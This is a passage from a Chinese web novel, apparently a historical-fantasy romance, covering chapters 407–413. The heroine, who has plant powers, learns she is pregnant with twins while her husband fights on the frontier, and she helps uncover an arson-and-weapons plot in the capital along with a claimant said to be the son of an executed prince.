除了几位皇子殿下之后,公主们被御史弹劾的案例也不少。 不是奢靡无度,便是欺男霸女。 总之,差点儿没把陛下给气得上家法。 好在,还有一位宁朔公主争气,这次也主动往户部那边送了十车的粮食,这可不是小数目了。 “陛下息怒,微臣看宁朔公主这两年也是时常为了陛下分忧。而且听闻宁朔公主还主动去找安乐县主询问,其它地方是否能帮得上忙,可见是位仁孝的。” 永安帝又叹一口气,这么多的儿女,让他省心的没几个。 又真正能帮着分忧的就更少了。 再看看那几个逆子,永安帝都恨不能一脚把人给踹出京城去。 “陛下,微臣还有件事情要禀报。” “讲!” “昨日朝堂上,关于立储君一事,微臣以为陛下也的确是需要考虑了。您如今正值壮年,若是能早日定下储君之位,那也能好好地教导太子。微臣说句大不敬的话,皇家的孩子,生来就不同,早日立下规矩,也能少一些祸患。” 这话的确是大不敬了。 这不就是等于告诉所有人,不立太子,就会有人因为争储而引发祸乱嘛。 陛下也知道他的意思,但是没吭声。 顾东阳也不敢再劝了,再多说一句,兴许就能要他的命。 永安帝其实是瞧不上老二,但问题是老二是嫡子呀! 老大虽然占了个长字,但是这才华上也不算是多出彩,而且治国与有无才华,也不可相提并论呐。 谢铮出发前这几日在家做准备事宜,但是实际上却是把许昭昭累够呛。 她还是有植物系异能在身的人,都能被谢铮给累得爬不起来,可见这个男人禽兽起来多么不是东西! 其实许昭昭心里有数,她的小日子已经过了半个月,迄今没有动静,原本想着将这个好消息告诉谢铮的,但是谢铮一见到她就跟狼见到肉一样,两眼恨不能变红,许昭昭哪有机会说呀。 一直到出发这日,许昭昭又被累得睡不醒,谢铮才依依不舍地走了。 小夫妻俩恩爱,舍不得分开,做为过来人的长辈们自然明白,但是像谢铮这么过分的,还真是头一回见。 谢铮跟着大军开拔的当天晚上,剑七就追上来了。 “你怎么来了?不是让你跟在少夫人身边吗?” “这是少夫人让我给您送的信。” 谢铮接过来一瞧,吓得没拿住,信纸轻飘飘地就落地了。 一旁的许君锋十分不屑地嘲笑他:“出息!” 话落,许君锋就把信捡起来看,丝毫没觉得偷看别人的信件有何不妥。 没等他看完,转身就把谢铮的衣领给揪住了。 “你这个混帐东西!她,她有喜了,你,你……” 你什么? 后面的话,说不出来。 他们是奉命出征。 再说许昭昭是谢铮的妻子,为他生儿育女,这不是正常的吗? 许君锋气呼呼地放开他,但是到了也不知道自己为什么这么生气。 反正就是觉得谢铮该打! 许翰知道这个消息后,也是又急又气,最后把谢铮叫进帐中,等谢铮出来的时候,整个人都是蔫蔫的,路上遇到许君锋,又被他一拳砸到眼眶,还好,他躲得快,但还是有些红。 两天后,许昭昭安排的人又来送信了,这一次,给许翰也带了信,还带了东西。 许昭昭也是从剑七那里知道二哥发火后,才觉得不妥,连忙写信安抚一下,另外,又特意给父亲多备了一些好药带着,他是大总管,手底下将士们的性命都在他手里握着呢,多些药,便多些底气,也能让父亲少一些愧疚感。 许翰自然也明白女儿的用意,心里头熨贴,对谢铮也总算是有个好脸色了。 而许昭昭一直对外瞒着自己有孕的消息,直到前线传回来第一张捷报,说谢铮和郑拓只带着五百轻骑,灭了对方两千余人,并且还带回去近百名俘虏后,许昭昭的一颗心才算是彻底放下了。 首次大捷,听起来好像没有杀敌太多。 但问题是,室韦原就是小国呀。 而且,五百轻骑,能悄无声息地绕到敌后,再来一次突袭,这是多刺激,又多危险的事! 老夫人被吓得心情一波三折,喃喃道:“老天爷保佑呀,我家三郎可还无后呢!” 第408章 不足三个月 许昭昭自然也听到这一句了,一时间不知道应不应该把自己有喜的事情说出来。 她这一犹豫,在其它人看来就想歪了。 于氏连忙扶住老夫人的胳膊:“母亲,这话可不能说。咱们谢家都好好的呢。” 于氏一边说,一边给老夫人使眼色。 一旁的小林氏这会儿也回过神来,她虽然看许昭昭不顺眼,但是不代表了就愿意看到家里人闹分歧,尤其是现在,谢铮可还在外面打仗呢,而且许昭昭才刚刚得了宫里头的奖赏,不能得罪。 “母亲,您这是想三朗了吧?瞧我,今儿是不是还没吃药呢?来人,快,去把老夫人的补药端过来。” 许昭昭现在反应过来了,然后略有几分无奈地看着她们三人,一时间更不知道该从何说起了。 谢啸林这边已经收起战报,转头道:“母亲,三郎得了首功,这是大好事!室韦小国,不足为惧,相信用不了多久,他就能凯旋而归了。” 这话也算是安慰吧。 谢啸威尴尬笑笑,这会儿谁敢指责许昭昭呀! 许昭昭看出来大家对她的态度很小心,觉得哭笑不得。 “其实我也是有件事情想要跟几位长辈们说的,也是这捷报来得不凑巧,这么一打岔,我反而不好意思说了。” 于氏接茬:“有什么不好意思的?都是自家人,有什么话就直说。若是有人欺负你了,老夫人和我们都会为你做主。” 老夫人也意识到自己刚刚说错了话,赶紧表态:“对对对,谁敢欺负你,老婆子饶不了他!” 许昭昭看到众人一脸紧张的样子,更加说不出口了。 她一转头,略有几分羞涩地看向了一直照顾自己的于嬷嬷。 于嬷嬷明白主子这是不好意思,再说这是头一回要当娘呢,自然有些放不开。 “还是奴婢来说吧。” 于嬷嬷往外走两步,福身笑道:“奴婢给老夫人和国公爷道喜了。” 众人都听愣了! 道喜? 谢啸林几乎是想也没想,直接道:“诶,不值当的,不过是一次小胜,哪里还用得着道喜?” 许昭昭脸红地低头,于嬷嬷笑得更欢喜了:“国公爷,奴婢说的是添丁进人的大喜!” 这回于氏反应最快,立马看向许昭昭的肚子。 “昭昭有喜了?” 许昭昭点头:“只是还不足三个月,所以才一直未敢声张。前几日收到了三郎寄回来的家书,便想着为了能让老夫人和父亲安心,所以才想着说出来。” “我滴个天哪!” 老夫人一拍手,恨不能立马扶着许昭昭去床上躺着,这可是怀了一个金疙瘩呀! 大郎二郎早就都有孩子了,但谁都知道,老夫人最盼着的就是许昭昭这里能赶紧生一个。 原本还觉得今年可能没希望了,谢铮这一出去打仗,今年肯定是回不来了。 结果却是一下子给砸下这么个大惊喜! “好好好!哦哟,我的好孩子呀,快坐着,不足三个月呢?那现在多久了?” “回老夫人,若是没算错日子的话,那明年四月就能抱上了。” 三个大男人听得一脸懵,但是于氏这脑子转得快:“这么说,这才怀了两个月多一点?” “是呢,原本想着满三个月再来报喜,这不是巧了嘛,昨儿大夫给主子请了平安脉,一切都好,孩子康健,世子夫人也身体好,所以这才想着把这个好消息禀告老夫人。” “好好好!赏,全都有赏!” 这是自许昭昭嫁入国公府以来,老夫人最高兴的一天了。 谢啸林也高兴,毕竟他就只有谢铮这么一个儿子,如今他也是要当祖父的人了。 接下来,整个国公府都是喜气洋洋的。 侯府那边自然也送了消息过去,当天王若兰就带着一大堆的补品过来了,不仅如此,还特意把小老虎带过来了,说是让小老虎多摸摸她的肚子,这样能给她引来儿子。 许昭昭可没有重男轻女的思想。 但是人在屋檐下,不得不低头呀。 谢铮是长房唯一的男丁,若是自己只能生女儿,生不出儿子来,那就要成为谢家长房的罪人了。 当然,许昭昭并不怕这个,其实她心里有底气。 就算是她只有女儿,大不了招赘便是。 只是国公府的爵位、荣耀,还是要留给真正的谢姓人才行。 许昭昭知道母亲是好意,自然不会拒绝,而且她也是真的喜欢小老虎。 如果自己以后有这么一个虎头虎脑的儿子,也挺好。 关键是小老虎不仅长的好,性子也好,多乖呀! “姑姑,娘亲说等明年我就要有小弟弟了,是吗?” 这话王若兰听着可高兴坏了,小孩子嘛,都说童言童语,而且灵得很。 “乖呀,那兴许明年会是一个小妹妹呢?” “也行!”小老虎认真想一下,一脸郑重道:“如果是弟弟,我就教他学武,如果是妹妹,那我就保护她,给她买首饰。” 许昭昭扑哧一声乐了:“谁教你的?” “不用教呀!爹爹说男孩子就应该摔摔打打的长大,这样以后才有出息。但是女儿家要娇养的,父亲说娘亲一定会给我添个小妹妹。” 王若兰笑骂道:“君安这个臭小子,一天天的乱说话,也不知道避着点儿孩子。” 许昭昭觉得这样挺好,最起码大哥这观点就没毛病。 男孩子嘛,没必要太宠着,容易养出纨绔性子来。 而且也能判断得出来,大哥是真想要女儿呀。 “你这里人手可够用?要不要我再给你派几个人过来?” “不用,您瞧瞧我这屋里屋外多少人了,老夫人那里还特意送了个懂生养的嬷嬷过来,如今也就是闲着没事做。不过这找乳母的事,还是得劳烦母亲费费心。” 王若兰点头:“这是应该的。是得早点儿开始找,一定要找壮实的,最好是生过儿子的才好。” 有没有生过儿子,许昭昭倒是不在意。 其实她更倾向于自己喂养孩子,但是也不知道这些贵妇们是怎么想的,若是自己喂养孩子,就有可能会被同阶层的人嘲笑。 这个理由呀…… 第409章 双胎 在这个时代,请奶娘是一种身份和地位的象征。 说白了,就是有钱有势的家庭才能请得起奶娘,这不仅能显示家庭的财富和地位,还能避免被同阶层的人嘲笑。 许昭昭想要找乳母,其实一方面是为了自己的身体考虑,另外一个原因就是她真不会带孩子呀! 生孩子对女人身体的损耗非常大,尤其是在医疗条件较差的古代,产妇需要时间恢复身体。 如果亲自哺乳会耗费大量精力和体力,影响身体恢复,这一点是明摆着的,哪怕是吃的再好也不管用,因为耗费心神这东西,就不是能用一碗肉一碗粥来衡量的。 就好比她上辈子就见过不少的贵妇,因为生孩子而掉头发的、长斑的、抑郁的等等,所以这跟吃的好不好有关系,但并不是吃好了就一定会养好身体。 再说了,谁能保证,生完孩子之后,自己的奶水就一定够孩子吃? 万一孩子吃不饱呢? 这个年头又没有奶粉,所以是现去找奶娘吗? 那才叫不靠谱! 另外,其实高门贵妇在府里,甚至是在整个家族里,都承担着重要的管理职责,可以理解为家族内部事务的掌管者,请奶娘可以减轻女主人的家务负担,使她们能够更好地履行家庭职责。 说白了,就是哪怕不奶孩子,也别想真地能歇好! 啧,许昭昭想想都觉得火大。 反正等到她生完孩子,就得当个闲鱼摆烂,爱咋咋,反正就是万事不管。 许昭昭这边有喜的消息在京城传开了,原本不知道有多少在背地里笑话许昭昭的人,这下子全都麻了。 这叫什么事! 以前想要笑话许昭昭,可偏偏人家的夫君待她好,没有孩子又怎么样?人家只守着她一个人过呀。 现在想要笑话许昭昭,就是因为谢铮出征了,这战场上的事,谁能说得准? 万一有人放一冷箭,谢铮没了,那许昭昭后半辈子怎么办? 连个孩子都没有,年轻轻就守寡,以后连个盼头都没有。 结果,还没等她们找到机会来嘲笑许昭昭一通呢,人家这边就传出喜讯了。 啧,明年就能当娘了。 而且此次的第一份捷报就是谢铮带来的,所以还有什么可嘲笑的? 该被笑话的人是她们吧! 气死了! 永安帝对于这份捷报还是很满意的。 这次的行军大总管是许翰,他选定的。 而谢铮是他得意的女婿,但许翰并未因此就将他给护在后头,而是按下面将士们的能力给予任务分配,很不错! 他就知道许木头在战场上是个大才! 不过这小子太懒了些,除了顶着一个大将军的头衔,其实差事是一概不愿意接。 也罢,由着他吧。 他不愿意多干活,他儿子愿意就行。 许翰可不知道,自己又被陛下给蛐蛐了。 许昭昭孕满三月之时,宫中流水一般的赏赐就送过去了。 有陛下赏的,还有皇后赏的,姜贵妃不甘示弱,也跟着掺和一下子。 姜贵妃这是在找存在感呢。 许昭昭命人将东西分门别类的挑拣之后,给几位长辈们各送去一些补品,余下的暂且收入库房。 姜贵妃命人送来的只是一些燕窝和银耳,于女子而言,都是好东西。 她亲自验过了,没毛病,而且都是上品,这东西真放到了外面的铺子里去卖,绝对是顶级的。 姜贵妃示好,到底是因为她不想落于人后,还是不想再招惹许昭昭,这些都不重要。 重要的是,姜贵妃向她示好,就意味着姜家暂时不会再和许家作对。 尤其是现在许翰可是行军大总管,姜家若是敢在背后搞小动作,许昭昭一定会不遗余力地把姜家人给搞死! 哪怕用最下作最简单的法子,她也能让姜家人都命归西天。 郑拓跟在谢铮身边,估计这回回来后,官职至少可以升一级,至于爵位方面,暂时不敢想。 方亮也跟着去打仗了,如果这次再能立下奇功,定然能给自己挣个小爵位回来,届时,许家的姑娘嫁过去,就更有面子了。 方大壮和方亮都跟着出征了,父子俩都不在家,方夫人范氏便总觉得心里没底,所以三不五时地往安信侯府跑。 王若兰也习惯了她过来,有时候干脆还一起去国公府看望有孕的许昭昭。 许昭昭现在在国公府那可是国宝级的人物,谁都不敢得罪她。 当然,原本也没人敢得罪她。 现在就更不一样了。 许昭昭自己对于医术其实一般,主要还是这几年跟着孙神医学了不少,闲来无事看医书也多,所以算是小有心得,但是实际上,她靠的是自己的植物系异能来内视自己的身体的。 早在刚开始时,她就觉得不对劲,但是没敢声张,就怕再是自己这里出错了。 直到许柱子将孙老神仙给找到,然后请他过来把脉后,才确定的的确确是怀了双胎。 这下子,许昭昭可不就更受重视了。 王若兰当初生二郎三郎的时候,也是双胎,只不过这兄弟俩长得并不算太像,再加上后来一文一武,生活环境有着极大不同,所以就更不一样了。 现在许昭昭也怀了双胎,王若兰觉得两个儿子或者是两个女儿的概率很大。 因为王若兰的娘家那边,也有一对双胞胎的兄长,目前为止,还没有听说有龙凤胎的出现。 如果两个都是儿子,那么昭昭在谢家的地位才是真正的稳固了,毕竟谢铮可是长房的独苗苗,又是武将出身,谁能保证打仗都是百战百胜,不受伤不牺牲的? 所以,如果有儿子了,那好歹是能让谢家人放心。 “母亲,父亲可有家书回来?” “最近没有,估计他也忙。倒是你二哥前几日差人送来一封家书,只说是一切都好。而且因为这次你父亲是大总管,所以目前为止,还没有亲自下过战场呢。” 许昭昭听到这话,扑哧一笑,颇有几分不厚道:“父亲估计要气死了。他可是最喜欢打仗的。” 王若兰也笑了:“谁说不是呢!不过这样也好,一把岁数了,就得安分一些!” 第410章 混乱 边境在打仗,但是因为室韦和靺鞨都是小国,所以朝中一开始就很看好这场仗。 大兴人才济济,武将辈出,所以从来就不缺带兵打仗的将领。 但是他们也没忽略一点,这两个小国都是在马背上长起来的,所以,大兴的骑兵也算是遇上对手了。 许昭昭养胎的同时,也在关注整个京城的变化。 大军刚刚开拔之际,倒是一切太平。 但是随着前线一封又一封的捷报传来,她能感觉得到,京城明显有人坐不住了。 他们想要将水搅浑,从而为自己背后的主子来谋求利益。 许昭昭让许柱子盯紧了东西两市,尤其是一些胡人,更是要严加防范。 虽说如今胡商在大兴的地位还可以,朝中甚至还有胡人为官,但是,许昭昭始终坚信,非我族类,其心必异! 所以,她可从来就没放心过那些胡人。 胡商? 呵呵,那可是传递情报的重要渠道! 如果只是过来赚钱,互惠互利,那没问题。 但是如果胆敢心有逆天之意,那便是找死! 许昭昭又命人给许君安也递了消息,让他对于胡人都多加审查,尤其是对于胡人居住地较多的几个坊,一定要查得更仔细一些。 许君安知道妹妹有本事,再加上父亲临出发前也交待过,遇事不决时,可与妹妹商议,所以,他自然就放在心上了。 结果,这一查,还真就查出一些猫腻来了。 许君安底下的人来禀报,说是在一处民宅中发现大量火油,如今已经安排人在附近秘密监视了。 许君安一边让自己的人去京兆府报信,一边又让人去联系负责宫中禁卫的谢啸林,让他一定要严守宫门,同时,自己也快马带人去搜查这处民宅。 许君安的动作很快,也得亏了有许昭昭的提醒,他们刚把人扣下,把大量的火油也小心翼翼地搬出来之后,赵长清也到了。 看到如此多的火油,赵长清也是一阵后怕,这么多的火油,若是有心人故意为之,那么这一整条街道都得被烧没。 “多亏世子谨慎。” “不敢当,奉旨巡逻,这是本分。只是审案一道,我不太擅长,还要交由赵大人费心了。” 赵长清点头:“世子放心,此事本官定会查明。” 这一交接,就意味着是双方合力查获,共同立功。 要不怎么说,赵长清就喜欢跟许家人打交道呢,人家不吃独食呀! 这边刚交接清,一个手下又跑来禀报。 “禀世子爷,在兴安坊发现一处宅院有异,疑似藏有大量兵器。” 兵器? 这可比火油还要更为严重。 “带路!” 许君安翻身上马,一脸严肃:“赵大人,此处交由你来善后了,至于那边,我就先派人去通知长安县令刘大人,辛苦赵大人了。” “好,许世子慢走。” 许君安这边因为出现得突然,所以很快就将宅院里的人马都控制住,但是许君安的一个手下受了轻伤,对方死了两个,重伤一个,轻伤六个。 刘起火急火燎地赶过来:“许世子,这是?” “如你所见,这是刚刚从屋里搜出来的,现在正在查看是否有地窖或者是密室,还请刘大人也派人尽快查明,这几个活着的,刘大人干脆就在此审问吧,越早问出结果,咱们越早能找到重要线索。” 刘起明白其用意,这是担心有人对陛下不利。 “是,下官即刻审理。” 双方合作,一个负责搜捡,一个负责审。 半个时辰之后,几份供词新鲜出炉。 “来人,你们几个将这里看住了,谁来也不许放人,更不许破坏此地。我这就与刘大人进宫禀报,到时候少不了你们的一份功劳。” “是,世子。” 在此之前,许君安又从自己家里调来了十几名护院,同时,再加上命人抽调过来的五十余名兵力,足够了。 两人刚出兴安坊,迎面看到了赵长清。 “许世子,本官这里也已经有了结果。” “正好,咱们一道进宫。” 谢啸林在门口得知事情的始末后,便更是严肃地命人守好宫门,全都打起精神来,不可偷懒。 结果,许君安带人刚把此事禀奏陛下,便瞧见远处有一阵火光冲天。 看方向,应该是在万年县,也就是崔冲负责巡逻的地方。 “坏了,咱们还是慢了一步!” 永安帝倒是表情镇定:“来人,即刻去看看怎么回事,一定要先保证人都完好,至于屋舍,烧便烧了。” “是,陛下。” “许君安、赵长清,你们两个火速带人去看看怎么回事,另外,下面各坊都要加强巡逻。” “是,陛下。” 事情是真闹大了。 谁能想到呢? 谢啸林派人回国公府传话时,就被管家告知,说是世子夫人早已安排好一切,请国公爷放心,安心守护陛下的安危,国公府有她在,不会出事。 谢啸林知道许昭昭是有个有本事的,而且也知道府里头有不少的精兵,兵器也不缺,所以,只要不是数千兵马攻打国公府,一般就无事。 但还是命人提醒小心被偷袭。 许昭昭现在更担心的是,京城可是天子脚下,都能出这样的乱子,那京外呢? 也不知道自己先前的布置究竟如何,但是想到百果园那里的人手不少,而且基本上都是靠着她吃饭的,应该不会有太大的麻烦吧? 这一晚,太极殿内的灯火一夜未熄,宫门的巡逻人手增加了两次,而护国公府的护院以及家丁们都抄起家伙,个个精神抖擞地守在前院以及各个门户之处。 这一夜,许昭昭倒是睡得很香甜,不是她心大,而是可能因为孕反的原因,一躺床上就想睡,而且还属于睡得特别沉的那种。 早上,锦绣园的大门打开,各路消息奔涌而至。 徐得贵也带回来了关于百果园的消息。 “昨夜突然有贼人偷袭咱们庄子,好在按您之前的吩咐都做了准备,陷阱里捉了两个,咱们的巡逻队总共逮了七个,打死两个,伤了对方近二十人,跑了差不多有四五个。” 第411章 子不语怪力乱神 “咱们的人,损失如何?” “有一位佃农没了,还有六个受伤的,但是都不算太严重,可能需要歇上半个月。” “嗯,死的那位叫什么,今年多大了,家里还有什么人?” 徐得贵一一回了,可见也是知道主子的性格,所以早早地就做了准备。 “给那户佃农家送十贯钱过去,记住,是我说的十贯钱。” “是,主子。” “除此之外,你跟那户人家说,孩子现在还小,让他们安心读书,三年内,他们一家子的吃用,我管了。以后你每个月派人送五十斤白面、五十斤玉米面、十斤肉以及十斤粟米过去,另外,每三个月给他们送上三匹布,供他们添新衣。” “是,主子。主子仁善,小的代那一家子老小谢过主子了。” “不必,你要记得,他是为了护着咱们百果园才没的,所以,他的后事你要给办好了,而且,所有我交代的事情,都要落到实处,若是敢有人贪一个字儿,我要他的命!” 最后一句,许昭昭说的那叫一个狠。 徐得贵打个激灵,知道主子这是在敲打他呢,立马应声说一定做到,万万不敢贪死人钱。 许昭昭之所以说三年,那是因为那家人最大的儿子才十二,现在就出来做工,实在是太小了。 而且有她赔付的那些银钱,再加上平时的米面供应,总能让那一家子吃饱饭。 “等再过些日子,我会去一趟百果园,到时候,让他一家子人过来请安。” “是,主子。” 许昭昭说是让那一家人过来请安的意思,就是在警告下面的人,不要因为人家的顶梁柱没了,就可以作践他的家人。 许昭昭是主子,有她护着,谁敢来找不痛快? 城里其它铺面倒是没遇到什么问题,但是百果园死了一个人,这就让许昭昭有些忍不了。 她可以接受财产上受些损失,毕竟这些东西没了还可以再赚回来。 但是人命不行呀! 她许昭昭何德何能,这就等于是因为一些身外之物,而欠了人家一条命! 这绝对不行! 许昭昭给刘起那边施压,很快,刘起这边顺藤摸瓜又抓了三十多人,查抄出大量的铜钱和兵器。 赵长清这边的收获也不少,足见这一次京城的混乱,就是有人早在暗中谋划了。 “禀主子,长安县令刘大人求见。” “请。” “是。” 许昭昭如今孕肚并不显,但因为考虑到孩子的健康,所以她自发现有孕后,便一直不再上妆,反正谢铮也不在家,她上妆给谁看? 自己看吗? 她也不是那么自恋的性子。 许昭昭虽是素颜,但是有植物系异能的加持,可以用天生丽质来形容了。 “下官见过安乐县主。” “免礼。” “谢县主。” 刘起将目前掌握的证据一一抛出,最后,取出一份口供。 “唯有这一人说是收到了命令,要对香飘飘下手?” “正是。若不是因为昨晚许世子爷发现得及时,只怕今晚,香飘飘就要被火烧光了。” “嗯,其它人可有交待出什么?” “目前没有再涉及到私怨的事。” 刘起说话很聪明,也就是说,这极有可能是有人在暗中混水摸鱼,知道京城要乱,所以故意借着这乱贼之手,想要给自己的对手添些麻烦。 私怨? 许昭昭冷笑,京城险些困于大火之中,无数百姓将命丧黄泉,这岂能用私怨来形容? “若非是兄长发现得及时,只怕此时京中已有数坊陷于火海之中,刘大人,您觉得有人察觉此事后,还能再安排这一出,仅仅只是私怨?” 刘起头顶开始冒冷汗。 果然,独属于县主的威压还是来了,虽迟但到! “下官失言。” “我是安乐县主,也是谢铮的妻子。此次出征的行军大总管是我父亲,为我大兴立下首功的是我夫君。刘大人以为,他们中有人授意针对我的产业,仅仅只是因为私怨?” 刘起坐不住了,连忙起身作揖:“是下官判断失误,请县主息怒。” 许昭昭重重地哼一声,这怒,她还真息不了! “交代出这些的人可还活着?” “回禀县主,活着,但是受了些刑,不严重。” “很好,既然你特意来通知我此事,那我便随你走一遭。” 刘起大惊,连忙劝阻:“县主不可!贵足岂可踏贱地?您放心,此人我一定会严加审问,绝对不会再有任何遗漏。” “不必。再者说了,你如今的压力也不小,陛下那里还等着你的奏报呢。来人,备马车。” 刘起还想要再劝,但是许昭昭的性子,谁能劝得动? 就这样,护国公府这边还什么都不知道呢,许昭昭这位少夫人就去了长安县衙的牢狱之中。 许昭昭将众人遣退,只余芍药和刘起二人在。 接下来的一幕,把刘起惊得头皮发麻。 他不明白许昭昭到底做了什么,但是这位人犯竟然乖乖地回答了她的所有问题,甚至于连反抗一下的意思都没有。 芍药站在外面,其实对于里面的情形知道的并不清楚,主要就是为了防止有人窥探。 直到许昭昭将一份摁了手印的口供交到刘起手上,他才回过神来。 “县主?” “你是聪明人,自然知道什么话能问,什么话不能问。如今有了口供,刘大人就只管去拿人便是。” 刘起点点头,额头上冷汗几乎是成线状地开始往下掉。 这哪里是县主,这分明就是神仙下凡呀! 他就在旁边看着,都没能看出来县主到底是如何做到的,这等的刑讯手段,当真是闻所未闻。 直到许昭昭离开之后,刘起再次进入牢中,反复确认,这名人犯的确是未曾再被上刑,也请大夫过来查验了,并没有被人用迷.药或者是失了心智之药。 那么,刚刚许昭昭到底是如何做到,只是轻飘飘的问话,就能让这名人犯招供的? 她甚至都不曾近距离地接触这位犯人,难不成真是神仙手段? 刘起摇摇头,嘴里低喃:“子不语乱力乱神……” 第412章 这是冲着许翰来的 刘起的确是被吓得不轻。 虽然他借此机会深挖,又查出来不少人,但他也知道,真正的幕后黑手,未能被擒。 尤其是,借着此次机会混水摸鱼之人,他现在还是毫无头绪。 许昭昭也一样。 到底是什么人,想要坏她的生意? 许昭昭和刘起不同。 刘起是官,是臣子,所以无论是向谁奏报,他都得讲证据,而许昭昭则不需要。 对她有恶意的人,无非就是那么几家,对许家或者是谢家心存不满者,也不多。 至少明面儿上没有几人。 所以,许昭昭要报复的对象,自然也就很容易锁定了。 许昭昭如今已孕满三个月,不再轻易出门。 几年前布下的暗棋探子,如今也总算是派上用场。 尤其是,当许柱子抱回来几盆花草后,许昭昭的决定就下得更快了。 许昭昭没有办法查到具体是何人对百果园下手的,但是她已经锁定了大致方向。 一条人命啊! 虽然只是百果园的佃户,但也是一个活生生的人,就因为对方的权欲之心,从而丧命。 许昭昭可以锁定嫌疑人,但是她没有任何证据。 所以,只能是暂且忍下这口气。 暗中报复回去,眼下还不是时候。 而且,就算是报复,她也没想过用同样的方法,那样显得自己太蠢,一条人命,她得让对方付出双倍甚至是以上的代价,才算完! 锦绣园里进进出出,气氛明显有些不对。 老夫人让于氏走一趟,如今许昭昭怀着孩子,可莫要再因为一些身外之物而动了胎气。 “二婶放心,昭昭心中有数。底下的产业确实是有些多,如今又刚刚经历一次小乱,所以有些失了主心骨,这才来得频繁一些。” 许昭昭没说的是,这里面的管事中,还有谢铮的部分人手。 要不然,也不会显得许昭昭这么忙。 于氏知道许昭昭是个有分寸的人,但还是提醒一句:“你心中有数便好,只是如今怀着身子,当万事小心。外面无论是银钱还是奴仆,总归都不及你肚子里的孩子要紧。” 这话,许昭昭听着不太舒服,但面上不显:“是,我记下了。” 送走于氏,许昭昭一个人站在窗前,半晌未动。 直到芍药进来劝她:“主子,站了有一会儿了,去里面躺一躺吧。” 许昭昭摇头,她没那么娇弱。 “我怜自己手下的一条人命,可若是因此而迁怒对家的奴仆,是否也不公平?” 芍药没听懂。 许昭昭最后自嘲一笑:“这本就是个吃人的世界,我若是太仁慈了,那便是等于将自己送上别人的餐桌。况且,对敌人仁慈,不就是对自己残忍?” 话落,许昭昭的后背再度挺直,整个人的气势也大不相同。 她是许昭昭,何时竟变得悲春伤秋起来了! 击败自己的对手,这才是自己最应该做的。 各为其主,那便各认其命吧。 京城的万年县,到底还是暴发了一场规模不算大的小动乱。 这还得亏是许君安等人发现了大量的火油的兵器,要不然,后果不堪设想。 只有几百人的队伍,最终还是没能走出万年县,直接就被许君安带人在坊内剿杀。 活捉百余人,而朝廷这一方,也不可能没有损伤。 总而言之,这等武力冲突造成的后果,就是流血和一地的尸体。 事情发生之后,胡商们人人自危,就怕再因此而被迁怒。 好在,陛下先一步下了旨意,让所有胡人都暂且安居于家中,不得外出,由朝廷官员逐一核对之后,再开始放行。 多方核查,速度自然是极快。 仅用了三天,京城的胡商便被逐一排查。 确定没有问题的,可以继续做生意。 而有嫌疑的,则是被禁于宅内,不得出入。 有明确证据指向的胡商,则是直接被下狱了。 这一次的事情,的确是给永安帝提了个醒。 大兴的疆域越来越辽阔,京城所容纳的也已经不再只是汉人,所以,他需要定期的清除一波怀有异心之人。 这一次的事,正好就是一个极佳的突破口。 许昭昭的产业被针对,不仅仅是有刘起送上的口供,还有万年县那边送上来的口供中也有提到。 永安帝自然也多了几分重视。 他将曲世绩、顾东阳以及崔玄明都叫过来议事。 “安乐县主的产业被人恶意针对,应该就是冲着许翰和谢铮来的。” 崔玄明点头:“许翰此次是行军大总管,而谢铮又立下首功,再加上之前北征之时,谢铮便屡立奇功。看来这些胡人,就是故意针对我大兴将士的家眷,好以此来扰乱军心。” “幸亏这次许君安和赵长清谨慎,先一步查获了大量的火油和兵器,否则,只怕那些贼人的计划真有可能会成功。” 顾东阳一脸担忧,遂又想到了一件事,连忙补充道:“听闻安乐县主有喜,若是她最为看重的百果园出事,只怕会大受打击。” 一个孕妇,在大受打击的情况下,会发生什么事? 几乎是不用多想,都能猜到会有悲剧发生。 所以,这幕后之人,当真可恶! 曲世绩也觉得策划这次行动之人,心思歹毒至极。 “陛下,万年县和长安县对于胡人的户籍制度,尚需进一步完善。除此之外,还需查明这些火油以及兵器的来路。京城各处的守门将士们也当严查自省。” “爱卿言之有理,此事的确是要继续查下去,目前来看,查获的火油,若是真地都被泼到屋宅之上,再配合贼人点火蓄柴等等,足可以烧毁两座坊,此事,的确不能轻饶。” 一番商议之后,此事还是暂且交由赵长清会同大理寺卿联查。 至于刑部,则是主要配合御史台,开始审查与此事有牵连的十余位官员。 目前为止,十余位官员还是被那些人给咬出来的,至于是否是冤枉的,就得看后面的审问以及搜查结果了。 “启禀陛下,赵大人在外求见,说是关于此次暴动有了新证据。” 永安帝脸色微变:“快宣!” 第413章 一切都是扯淡 “启禀陛下,微臣审问时发现异常,之后命人在暗中调查,发现在永业坊中,有一男子名李烨,年十二,被人尊为少主。后微臣带人将其围困,对方却拼死抵抗,微臣在许世子的帮助下总算将其拿获。” 赵长清说到此处,将手中的供词送上,后面的话,他是真地不敢再说了。 其它几位大臣面面相觑,他们分明注意到,赵长清这是言语未尽。 是有什么不能说的? 难道是皇家秘辛? 还真让他们给料中了,的确是皇家秘辛。 “这个李烨现在何处?” “回陛下,如今关在府衙大牢,为了避免这些人串供,也为了避免被杀人灭口,所以微臣都是派了重兵看守,且单独关押。” “嗯,来人,命许君安去京兆府牢狱,将李烨带来。” “是。” 永安帝将供词传阅给几位臣子:“你们也都看看吧,这个李烨的身份存疑,是否需要查实,查实之后,又当如何处置,几位爱卿好好想想。” 曲世绩一瞬间抓住重点,是否需要查实? 待他看完供词之后,便明白了陛下的用意。 “启禀陛下,按时间来推算,福王不可能在那个时间段出现在京城,所以,这个李烨所谓的福王遗孤的身份不可信。就算他是福王血脉,可当年福王借狩猎行刺驾之事真真切切,这李烨也同样难逃一死。” 其它几位臣子闻弦而知雅意。 不管怎么说,福王都是陛下的亲弟弟,当年刺驾一事,福王被诛,其子嗣要么被杀,要么被流放。 但实际上,就在几年前,福王的所有血脉全都死了,连女儿也未能幸免。 无论是病死、意外亦或者是其它,总而言之,福王的血脉都没了,也算是除了陛下的心头大患。 而这个李烨,如果真是福王的儿子,那的确是有些难办。 因为时间过去十几年了,若是这个李烨真是福王的子嗣,那陛下要不要赦免其罪行? 若是不赦免,倒显得陛下度量狭小,且过于无情。 可若是赦免,只怕陛下自己心里不舒服。 因为那一次的行刺事件,直接导致了陛下的一位儿子重伤,虽然保住性命了,但是因伤而弱,故而鲜少出现于人前。 自己的儿子差点儿没命了,陛下怎么可能不生气? 所以,福王的儿女们都死绝了,无论是不是陛下做的,这都无人敢上前指责,除非是不想活了。 再说,那些人并非一下子猝死,谁会又想到陛下身上去? 许君安将李烨提进宫中,之后奉命在殿外候着。 永安帝仔细地看着李烨的相貌,与年少时的福王,的确是有几分相似之处,但仅凭这一点就断定他是福王的儿子,的确是有些草率。 “你叫李烨?” 